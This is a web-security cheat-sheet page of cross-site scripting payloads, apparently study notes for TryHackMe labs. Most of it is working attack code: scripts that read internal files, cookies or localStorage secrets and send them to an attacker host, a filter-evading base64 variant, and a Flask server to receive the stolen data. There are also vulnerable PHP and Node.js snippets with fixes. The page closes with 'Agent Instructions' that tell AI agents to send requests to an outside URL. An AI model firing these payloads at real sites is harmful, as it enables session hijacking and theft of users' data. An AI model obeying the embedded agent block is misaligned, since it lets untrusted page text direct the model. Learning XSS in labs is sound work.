# Cross Site Scripting

## Basic XSS Injection

* Create a popup saying "Hello":\
  `<script>alert("ALERT")</script>`<br>
* Create a popup printing the host IP address:\
  `alert(window.location.hostname)`<br>
* Create a popup printing the document cookies:\
  `alert(document.cookie)`<br>
* XSS using an image:\
  `<img src="#" onerror=alert(1) />`

### Console Actions

* Changes the content of an element titled "title":\
  `document.getElementById("title").innerText="hacked";`<br>
* Cause an alert to happen:\
  `alert()`OR `alert(1)`OR `alert('XSS')`OR `alert("XSS")`<br>
* Log to JS console:\
  `console.log("test")`<br>
* Encode a string using base64:\
  `btoa("$PLAINTEXT")`<br>
* Decode base64 to a string:\
  `atob("$BASE64")`<br>
* Get document cookie:\
  `document.cookie`

## XSS Hacking

Sometimes XSS will allow you to do unintended actions on the target. This can include "Session Manipulation and Hijacking", "Local File Inclusion and Reading", and "Remote Code Execution".

### LFI

The following code can be used to read an internal page and send it to a listening server on the attack box, it uses the "fetch" keyword to get the html data on a page, read it as text, and then forward it as a GET parameter  called *data* to a listening server:

```javascript
<script>
	fetch('http://127.0.0.1:8080/flag.txt').then(
		r => r.text().then(
			r => fetch('http://$IP:8080/?data=' + r)
		)
	)
</script>
```

Another example that has more error handling and uses the "img onerror" attribute to bypass checks for the *script* tag is as follows:

{% code overflow="wrap" %}

```javascript
<img src="x" onerror="fetch('http://127.0.0.1:8080/flag.txt').then(r => r.text()).then(r => fetch('http://$IP:8080/?data=' + r)).catch(e => fetch('http://$IP:8080/?error=' + e))"/>
```

{% endcode %}

Sometimes a WAF might block plaintext exfiltration, one way to get around it is to use the `btoa` function to convert the output to a base64 encoded string:

{% code overflow="wrap" %}

```javascript
<img src="x" onerror="fetch('http://127.0.0.1:8080/flag.txt').then(r => r.text()).then(r => fetch('http://$IP:8080/?data=' + btoa(r)))"/>
```

{% endcode %}

Other methodologies could be used as well to get page data such as using the method "xhr":

```javascript
<script>
  // CHANGE THESE
  const internalURL = "http://127.0.0.1:8080/flag.txt";
  const remoteServer = "http://$IP:8080";

  // Create an XMLHttpRequest to fetch the internal page
  const xhr = new XMLHttpRequest();
  xhr.open("GET", internalURL, true);
  xhr.onreadystatechange = function () {
    if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
      const exfil = new XMLHttpRequest();
      exfil.open("POST", remoteServer, true);
      exfil.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
      exfil.send("data=" + encodeURIComponent(xhr.responseText));
    }
  };
  xhr.send();
</script>
```

### Cookie Stealing

Similar to the LFI, the cookie or session of a user could be specified for exfiltration:

```javascript
// <script src="http://$IP"></script>exploit
fetch("http://$IP/exploit?cookie="+document.cookie);
```

### Flask App Usage

If your standard *netcat* listener isn't up to the task, a Flask server can be used to examine and control the flow of traffic between your server and the target box. An example of the Flask server can look like this:

```python
from flask import Flask, request, send_from_directory, jsonify

app = Flask(__name__)

# Define a route for static files
@app.route('/<filename>')
def serve_file(filename):
    return send_from_directory('.', filename)

@app.route('/<filename>', methods=['POST', 'OPTIONS'])
def receive_data():
    if request.method == 'OPTIONS':
        # Handle preflight request
        response = app.make_response("")
        response.headers['Access-Control-Allow-Origin'] = '*'  # Allow all origins
        response.headers['Access-Control-Allow-Methods'] = 'POST, OPTIONS'
        response.headers['Access-Control-Allow-Headers'] = 'Content-Type'
        return response

    # Handle the actual POST request
    data = request.json  # Extract JSON payload
    print("Received data:", data)  # Log data for debugging
    return jsonify({"status": "success"}), 200

if __name__ == '__main__':
    # Run the Flask app on port 8080
    app.run(host='0.0.0.0', port=8080)
```

## Juice Shop

{% embed url="<https://tryhackme.com/r/room/owaspjuiceshop>" %}

Using an iframe element with a javascript alert tag in a search bar would be considered DOM XSS:

```html
<iframe src="javascript:alert(`xss`)">
```

This type of XSS is called XFS (Cross-Frame Scripting), it is one of the most common forms of detecting XSS within web applications. When the request is made to the server, it will send back an alert due to incorrect input sanitation.

If this was done using Burp to change the header of a page request or continuous chat, persistent XSS could be created to have it execute every time the page is accessed.

### Reflected XSS

Reflected XSS is a type of XSS vulnerability where a malicious script is reflected to the user's browser, often via a crafted URL or form submission. The following search query is a simple example of reflected XSS:

`<script>alert(document.cookie)</script>`

#### PHP

Suppose the following PHP code is presented:

```php
<?php
$search_query = $_GET['q'];
echo "<p>You searched for: $search_query</p>";
?>
```

The `$_GET` function retrieves a PHP array containing values from the URL query string. The command `$_GET['q']` refers to a query string parameter `q` such that the URL would look like `http://website.com/search.php?q=term`. Withut any sanitization, this piece of code would allow malicious scripts such as XSS or MYSQL injection to name a few.

{% hint style="info" %}
This could be fixed using the `htmlspecialchars()` function to convert special characters to HTML entities.
{% endhint %}

#### JavaScript (Node.js)

Given the following Node.js code:

```javascript
const express = require('express');
const app = express();

app.get('/search', function(req, res) {
    var searchTerm = req.query.q;
    res.send('You searched for: ' + searchTerm);
});

app.listen(80);
```

This code uses Express, a popular web application framework for Node.js. The `req.query.q` will extract the value of `q` similar to the above PHP code. The following proof of concept can then be used to cause reflected XSS:

```http
http://website.com/search?q=<script>alert(document.cookie)</script>
```

{% hint style="info" %}
This can be fixed using the following code snippets:

```
const sanitizeHtml = require('sanitize-html');
...
    const searchTerm = req.query.q;
    const sanitized SearchTerm = sanitizeHtml(searchTerm);
```

This can also be done with `escapeHtml()` function.
{% endhint %}

### Stored XSS

Also known as persistent XSS, it's a vulnerability that occurs when the application stores user-supplied input and later embeds it in web pages served to other users without proper sanitization or escaping. Examples include web forum posts, product reviews, user comments, and other data stores.

#### PHP

The code below has multiple vulnerabilities:

```php
// Storing user comment
$comment = $_POST['comment'];
mysqli_query($conn, "INSERT INTO comments (comment) VALUES ('$comment')");

// Displaying user comment
$result = mysqli_query($conn, "SELECT comment FROM comments");
while ($row = mysqli_fetch_assoc($result)) {
    echo $row['comment'];
}
```

Although this is vulnerable to SQL injection in the section `$_POST['comment']`, it is also vulnerable to XSS since the comment is displayed without sanitization with the line `echo $row['comment']`.  These vulnerabilities can be fixed with `mysqli_real_escape_string()` and `htmlspecialchars()` functions respectively.

#### Javascript (Node.js)

The following is an example of another stored XSS vulnerability:

```javascript
app.get('/comments', (req, res) => {
  let html = '<ul>';
  for (const comment of comments) {
    html += `<li>${comment}</li>`;
  }
  html += '</ul>';
  res.send(html);
});
```

The main issue here is with the section `${comment}` and how it is displayed directly as part of the HTML code. If a user views this comment, any scripts that were injected in it would be executed by the visiting user. This can be fixed using `sanitizeHTML()` as well as prevent unsafe elements like `<script>` and `<onload>`.

### DOM Based XSS

The following is based on the following TryHackMe room [Dom-Based Attacks](https://tryhackme.com/r/room/dombasedattacks).  The room features a simple birthday list application that is vulnerable to a stored DOM-based XSS attack. While you can add and update birthdays, you cannot delete them by default. However, with the correct payload on a vulnerable input field, it's possible to enable the delete functionality.

The following "Person" field is where the vulnerability lies:

```html
<td><p v-html=bday.person></p></td>
<td>{{ bday.bdate }}</td>
```

The `v-html` tag allows html input and does only basic sanitizing versus the second `td` element which translates the input to text. The application itself requires a secret key in local storage to request a delete operation. The idea was to create a stored DOM XSS to capture other users secret keys and send them to a listening server on an attack box. The following list is the process of crafting a payload to execute sending a message containing the captured secret key:

{% code overflow="wrap" %}

```html
<-- This is a simple XSS, this prints XSS to the console -->

<img src='#' onerror=console.log('XSS') />

<-- This sends a GET request to the attack box with a parameter -->

<img src='#' onerror=fetch('http://$IP:1337?id=1') />

<-- Specially crafted message to send a GET request with the
parameter secret which is fetched from a user's local storage
and then sent to the attack box every 6 seconds -->

<img src='#' onerror="setInterval(function() { var secret = localStorage.getItem('secret'); fetch(`http://$IP:1337?id=${secret}`).then(response => response.json()).then(data => console.log(data)); }, 6000);" />

<-- Shorter and simpler version of above -->

<img src='#' onerror="setInterval(function() {fetch('http://$IP:1337?secret=' + encodeURIComponent(localStorage.getItem('secret'))).then(response => {})},2000);" />
```

{% endcode %}

The sent messages can then be captured on a simple Python server.

### DOM Clobbering

To test if DOM clobbering can be used, try the following payload

```html
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cyb3rn1nja">
```

Then in the console, try typing:

```javascript
window.defaultAvatar.avatar
```

If this returns the item containing the href value from the payload, then it is likely vulnerable to DOM clobbering.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://tjf952.gitbook.io/disboard/web/cross-site-scripting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
